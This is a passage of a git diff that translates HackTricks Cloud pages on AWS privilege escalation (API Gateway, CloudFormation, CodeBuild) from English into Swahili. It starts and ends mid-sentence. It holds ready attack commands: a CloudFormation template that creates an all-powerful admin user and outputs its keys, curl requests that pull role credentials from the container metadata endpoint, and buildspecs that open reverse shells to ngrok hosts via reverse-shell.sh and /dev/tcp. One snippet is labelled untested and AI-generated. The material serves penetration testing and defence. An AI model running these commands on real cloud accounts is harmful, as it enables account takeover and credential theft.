huwezi kupata privesc moja kwa moja kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached**. The attacker can then **trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role**. +> Inahitaji kupimwa +Mshambuliaji mwenye ruhusa `apigateway:PutIntegration`, `apigateway:CreateDeployment`, na `iam:PassRole` anaweza **kuongeza uhusiano mpya kwa API Gateway REST API iliyopo kwa kutumia kazi ya Lambda ambayo ina jukumu la IAM lililounganishwa**. Mshambuliaji anaweza kisha **kuanzisha kazi ya Lambda kutekeleza msimbo wowote na kwa uwezekano kupata ufikiaji wa rasilimali zinazohusiana na jukumu la IAM**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -63,16 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Access to resources associated with the Lambda function's IAM role. +**Madhara Yanayoweza Kutokea**: Ufikiaji wa rasilimali zinazohusiana na jukumu la IAM la kazi ya Lambda. ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` > [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made. +> Inahitaji kupimwa +Mshambuliaji mwenye ruhusa `apigateway:UpdateAuthorizer` na `apigateway:CreateDeployment` anaweza **kubadilisha mthibitishaji wa API Gateway uliopo** ili kupita ukaguzi wa usalama au kutekeleza msimbo wa kawaida wakati maombi ya API yanapofanywa. ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -84,16 +75,14 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Bypassing security checks, unauthorized access to API resources. +**Madhara Yanayoweza Kutokea**: Kupita mchakato wa usalama, ufikiaji usioidhinishwa wa rasilimali za API. ### `apigateway:UpdateVpcLink` > [!NOTE] -> Need testing - -An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**. +> Inahitaji kupimwa +Mshambuliaji mwenye ruhusa `apigateway:UpdateVpcLink` anaweza **kubadilisha Kiungo cha VPC kilichopo ili kiashirie kwenye Balansi ya Mizigo ya Mtandao tofauti, ambayo inaweza kuelekeza trafiki ya API ya kibinafsi kwenye rasilimali zisizoidhinishwa au zenye uharibifu**. ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" @@ -101,11 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` - -**Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa rasilimali za API za kibinafsi, kukamata au kuingilia kati trafiki ya API. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md index b477dc31f..f4e2282e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md @@ -7,7 +7,3 @@ TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 39cba539e..3b62932ff 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -4,7 +4,7 @@ ## cloudformation -For more information about cloudformation check: +Kwa maelezo zaidi kuhusu cloudformation angalia: {{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md @@ -12,111 +12,99 @@ For more information about cloudformation check: ### `iam:PassRole`, `cloudformation:CreateStack` -An attacker with these permissions **can escalate privileges** by crafting a **CloudFormation stack** with a custom template, hosted on their server, to **execute actions under the permissions of a specified role:** - +Mshambuliaji mwenye ruhusa hizi **anaweza kuongeza mamlaka** kwa kutunga **CloudFormation stack** na kiolezo maalum, kilichohifadhiwa kwenye seva yao, ili **kutekeleza vitendo chini ya ruhusa za jukumu lililobainishwa:** ```bash aws cloudformation create-stack --stack-name \ - --template-url http://attacker.com/attackers.template \ - --role-arn +--template-url http://attacker.com/attackers.template \ +--role-arn ``` - -In the following page you have an **exploitation example** with the additional permission **`cloudformation:DescribeStacks`**: +Katika ukurasa ufuatao una mfano wa **kuvamia** na ruhusa ya ziada **`cloudformation:DescribeStacks`**: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}} -**Potential Impact:** Privesc to the cloudformation service role specified. +**Athari Zinazoweza Kutokea:** Privesc kwa jukumu la huduma ya cloudformation lililotajwa. ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -In this case you can a**buse an existing cloudformation stack** to update it and escalate privileges as in the previous scenario: - +Katika kesi hii unaweza **kuitumia stack ya cloudformation iliyopo** kuisasaisha na kupandisha ruhusa kama ilivyo katika hali ya awali: ```bash aws cloudformation update-stack \ - --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 ``` +The `cloudformation:SetStackPolicy` ruhusa inaweza kutumika **kujipewe ruhusa ya `UpdateStack`** juu ya stack na kufanya shambulio. -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. - -**Potential Impact:** Privesc to the cloudformation service role specified. +**Athari Zinazoweza Kutokea:** Privesc kwa huduma ya cloudformation iliyotajwa. ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -If you have this permission but **no `iam:PassRole`** you can still **update the stacks** used and abuse the **IAM Roles they have already attached**. Check the previous section for exploit example (just don't indicate any role in the update). +Ikiwa una ruhusa hii lakini **hakuna `iam:PassRole`** bado unaweza **kusaidia stacks** zilizotumika na kutumia **IAM Roles walizo tayari wameambatanisha**. Angalia sehemu ya awali kwa mfano wa exploit (usionyeshe jukumu lolote katika sasisho). -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. +The `cloudformation:SetStackPolicy` ruhusa inaweza kutumika **kujipewe ruhusa ya `UpdateStack`** juu ya stack na kufanya shambulio. -**Potential Impact:** Privesc to the cloudformation service role already attached. +**Athari Zinazoweza Kutokea:** Privesc kwa huduma ya cloudformation iliyotajwa tayari. ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -An attacker with permissions to **pass a role and create & execute a ChangeSet** can **create/update a new cloudformation stack abuse the cloudformation service roles** just like with the CreateStack or UpdateStack. - -The following exploit is a **variation of the**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) using the **ChangeSet permissions** to create a stack. +Mshambuliaji mwenye ruhusa za **kupitisha jukumu na kuunda & kutekeleza ChangeSet** anaweza **kuunda/sasisha stack mpya ya cloudformation kutumia huduma za cloudformation** kama ilivyo kwa CreateStack au UpdateStack. +Exploit ifuatayo ni **tofauti ya**[ **CreateStack moja**](./#iam-passrole-cloudformation-createstack) ikitumia **ruhusa za ChangeSet** kuunda stack. ```bash aws cloudformation create-change-set \ - --stack-name privesc \ - --change-set-name privesc \ - --change-set-type CREATE \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::947247140022:role/CloudFormationAdmin \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--change-set-name privesc \ +--change-set-type CREATE \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::947247140022:role/CloudFormationAdmin \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 echo "Waiting 2 mins to change the stack" sleep 120 aws cloudformation execute-change-set \ - --change-set-name privesc \ - --stack-name privesc \ - --region eu-west-1 +--change-set-name privesc \ +--stack-name privesc \ +--region eu-west-1 echo "Waiting 2 mins to execute the stack" sleep 120 aws cloudformation describe-stacks \ - --stack-name privesc \ - --region eu-west-1 +--stack-name privesc \ +--region eu-west-1 ``` +The `cloudformation:SetStackPolicy` permission can be used to **kujipa ruhusa za `ChangeSet`** juu ya stack na kufanya shambulio. -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `ChangeSet` permissions** over a stack and perform the attack. - -**Potential Impact:** Privesc to cloudformation service roles. +**Athari Zinazoweza Kutokea:** Privesc kwa majukumu ya huduma ya cloudformation. ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -This is like the previous method without passing **IAM roles**, so you can just **abuse already attached ones**, just modify the parameter: - +Hii ni kama njia ya awali bila kupitisha **majukumu ya IAM**, hivyo unaweza tu **kutumia yale yaliyounganishwa tayari**, badilisha tu parameter: ``` --change-set-type UPDATE ``` - -**Potential Impact:** Privesc to the cloudformation service role already attached. +**Madhara Yanayoweza Kutokea:** Privesc kwa huduma ya cloudformation ambayo tayari imeunganishwa. ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -An attacker could abuse these permissions to create/update StackSets to abuse arbitrary cloudformation roles. +Mshambuliaji anaweza kutumia ruhusa hizi kuunda/update StackSets ili kutumia majukumu ya cloudformation yasiyo na mipaka. -**Potential Impact:** Privesc to cloudformation service roles. +**Madhara Yanayoweza Kutokea:** Privesc kwa majukumu ya huduma ya cloudformation. ### `cloudformation:UpdateStackSet` -An attacker could abuse this permission without the passRole permission to update StackSets to abuse the attached cloudformation roles. +Mshambuliaji anaweza kutumia ruhusa hii bila ruhusa ya passRole kuupdate StackSets ili kutumia majukumu ya cloudformation yaliyounganishwa. -**Potential Impact:** Privesc to the attached cloudformation roles. +**Madhara Yanayoweza Kutokea:** Privesc kwa majukumu ya cloudformation yaliyounganishwa. -## References +## Marejeleo - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index d41f9062c..b8a488fef 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -2,84 +2,74 @@ {{#include ../../../../banners/hacktricks-training.md}} -An attacker could for example use a **cloudformation template** that generates **keys for an admin** user like: - +Mshambuliaji anaweza kutumia mfano wa **cloudformation** unaozalisha **funguo za mtumiaji wa admin** kama: ```json { - "Resources": { - "AdminUser": { - "Type": "AWS::IAM::User" - }, - "AdminPolicy": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "Description": "This policy allows all actions on all resources.", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": "*" - } - ] - }, - "Users": [ - { - "Ref": "AdminUser" - } - ] - } - }, - "MyUserKeys": { - "Type": "AWS::IAM::AccessKey", - "Properties": { - "UserName": { - "Ref": "AdminUser" - } - } - } - }, - "Outputs": { - "AccessKey": { - "Value": { - "Ref": "MyUserKeys" - }, - "Description": "Access Key ID of Admin User" - }, - "SecretKey": { - "Value": { - "Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] - }, - "Description": "Secret Key of Admin User" - } - } +"Resources": { +"AdminUser": { +"Type": "AWS::IAM::User" +}, +"AdminPolicy": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"Description": "This policy allows all actions on all resources.", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": "*" +} +] +}, +"Users": [ +{ +"Ref": "AdminUser" +} +] +} +}, +"MyUserKeys": { +"Type": "AWS::IAM::AccessKey", +"Properties": { +"UserName": { +"Ref": "AdminUser" +} +} +} +}, +"Outputs": { +"AccessKey": { +"Value": { +"Ref": "MyUserKeys" +}, +"Description": "Access Key ID of Admin User" +}, +"SecretKey": { +"Value": { +"Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] +}, +"Description": "Secret Key of Admin User" +} +} } ``` - -Then **generate the cloudformation stack**: - +Kisha **unda stack ya cloudformation**: ```bash aws cloudformation create-stack --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::[REDACTED]:role/adminaccess \ - --capabilities CAPABILITY_IAM --region us-west-2 +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::[REDACTED]:role/adminaccess \ +--capabilities CAPABILITY_IAM --region us-west-2 ``` - -**Wait for a couple of minutes** for the stack to be generated and then **get the output** of the stack where the **credentials are stored**: - +**Subiri kwa dakika chache** ili stack itengenezwe na kisha **pata matokeo** ya stack ambapo **vithibitisho vinahifadhiwa**: ```bash aws cloudformation describe-stacks \ - --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ - --region uswest-2 +--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ +--region uswest-2 ``` - ### References - [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index b179bec22..0329a86a5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -4,7 +4,7 @@ ## codebuild -Get more info in: +Pata maelezo zaidi katika: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,70 +12,65 @@ Get more info in: ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Only with one of these permissions it's enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project: +Ni moja ya ruhusa hizi pekee inatosha kuanzisha ujenzi na buildspec mpya na kuiba token ya jukumu la iam lililoteuliwa kwa mradi: {{#tabs }} {{#tab name="StartBuild" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#endtabs }} -**Note**: The difference between these two commands is that: +**Kumbuka**: Tofauti kati ya amri hizi mbili ni kwamba: -- `StartBuild` triggers a single build job using a specific `buildspec.yml`. -- `StartBuildBatch` allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel). +- `StartBuild` inachochea kazi moja ya kujenga kwa kutumia `buildspec.yml` maalum. +- `StartBuildBatch` inakuwezesha kuanzisha kundi la ujenzi, na mipangilio tata zaidi (kama kuendesha ujenzi kadhaa kwa wakati mmoja). -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Athari Zinazoweza Kutokea:** Privesc moja kwa moja kwa majukumu ya AWS Codebuild yaliyoambatanishwa. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one. +Mshambuliaji mwenye ruhusa **`iam:PassRole`, `codebuild:CreateProject`, na `codebuild:StartBuild` au `codebuild:StartBuildBatch`** angeweza **kuinua mamlaka kwa yoyote majukumu ya IAM ya codebuild** kwa kuunda moja inayotembea. {{#tabs }} {{#tab name="Example1" }} - ```bash # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" @@ -84,20 +79,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" JSON="{ - \"name\": \"codebuild-demo-project\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"codebuild-demo-project\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" @@ -117,19 +112,17 @@ aws codebuild start-build --project-name codebuild-demo-project # Delete the project aws codebuild delete-project --name codebuild-demo-project ``` - {{#endtab }} -{{#tab name="Example2" }} - +{{#tab name="Mfano2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command echo 'version: 0.2 phases: - build: - commands: - - curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml +build: +commands: +- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml # Upload the buildspec to the bucket and give access to everyone aws s3 cp buildspec.yml s3:/buildspec.yml @@ -141,25 +134,23 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat aws codebuild start-build --project-name reverse-shell-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu lolote la AWS Codebuild. > [!WARNING] -> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**. +> Katika **konteina ya Codebuild** faili `/codebuild/output/tmp/env.sh` ina kila mabadiliko ya mazingira yanayohitajika kufikia **akiba ya metadata**. -> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Faili hii ina **mabadiliko ya mazingira `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** ambayo yana **njia ya URL** ya kufikia akiba. Itakuwa kama hii `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` -> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials. +> Ongeza hiyo kwenye URL **`http://169.254.170.2/`** na utaweza kudump akiba ya jukumu. -> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**. +> Zaidi ya hayo, pia ina **mabadiliko ya mazingira `ECS_CONTAINER_METADATA_URI`** ambayo yana URL kamili ya kupata **taarifa za metadata kuhusu konteina**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token - +Kama ilivyo katika sehemu ya awali, ikiwa badala ya kuunda mradi wa kujenga unaweza kuubadilisha, unaweza kuonyesha Jukumu la IAM na kuiba tokeni. ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -171,20 +162,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" printf "$JSON" > $REV_PATH @@ -193,16 +184,14 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu lolote la AWS Codebuild. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Like in the previous section but **without the `iam:PassRole` permission**, you can abuse this permissions to **modify existing Codebuild projects and access the role they already have assigned**. +Kama katika sehemu iliyopita lakini **bila ruhusa ya `iam:PassRole`**, unaweza kutumia ruhusa hii kubadilisha **miradi ya Codebuild iliyopo na kufikia jukumu walilopewa tayari**. {{#tabs }} {{#tab name="StartBuild" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -213,20 +202,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" # Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild! @@ -237,11 +226,9 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -250,20 +237,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"project_name\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"project_name\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" printf "$JSON" > $REV_PATH @@ -274,41 +261,37 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build-batch --project-name codebuild-demo-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa majukumu ya AWS Codebuild yaliyoambatanishwa. ### SSM -Having **enough permissions to start a ssm session** it's possible to get **inside a Codebuild project** being built. +Kuwa na **idhini za kutosha kuanzisha kikao cha ssm** inawezekana kupata **ndani ya mradi wa Codebuild** unaojengwa. -The codebuild project will need to have a breakpoint: +Mradi wa codebuild utahitaji kuwa na breakpoint: 
phases:
-  pre_build:
-    commands:
-      - echo Entered the pre_build phase...
-      - echo "Hello World" > /tmp/hello-world
+pre_build:
+commands:
+- echo Entered the pre_build phase...
+- echo "Hello World" > /tmp/hello-world
       - codebuild-breakpoint
-And then: - +Na kisha: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` - -For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). +Kwa maelezo zaidi [**angalia nyaraka**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -An attacker able to start/restart a build of a specific CodeBuild project which stores its `buildspec.yml` file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process. - -Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker. +Mshambuliaji anayeweza kuanzisha/kurestart ujenzi wa mradi maalum wa CodeBuild ambao unahifadhi faili yake ya `buildspec.yml` kwenye S3 bucket ambayo mshambuliaji ana ruhusa ya kuandika, anaweza kupata utekelezaji wa amri katika mchakato wa CodeBuild. +Kumbuka: kupandishwa vyeo kuna umuhimu tu ikiwa mfanyakazi wa CodeBuild ana jukumu tofauti, kwa matumaini lenye mamlaka zaidi, kuliko lile la mshambuliaji. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -325,29 +308,22 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` - -You can use something like this **buildspec** to get a **reverse shell**: - +Unaweza kutumia kitu kama hiki **buildspec** kupata **reverse shell**: ```yaml:buildspec.yml version: 0.2 phases: - build: - commands: - - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 +build: +commands: +- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` - -**Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges. +**Impact:** Moja kwa moja privesc kwa jukumu linalotumiwa na mfanyakazi wa AWS CodeBuild ambao kwa kawaida una 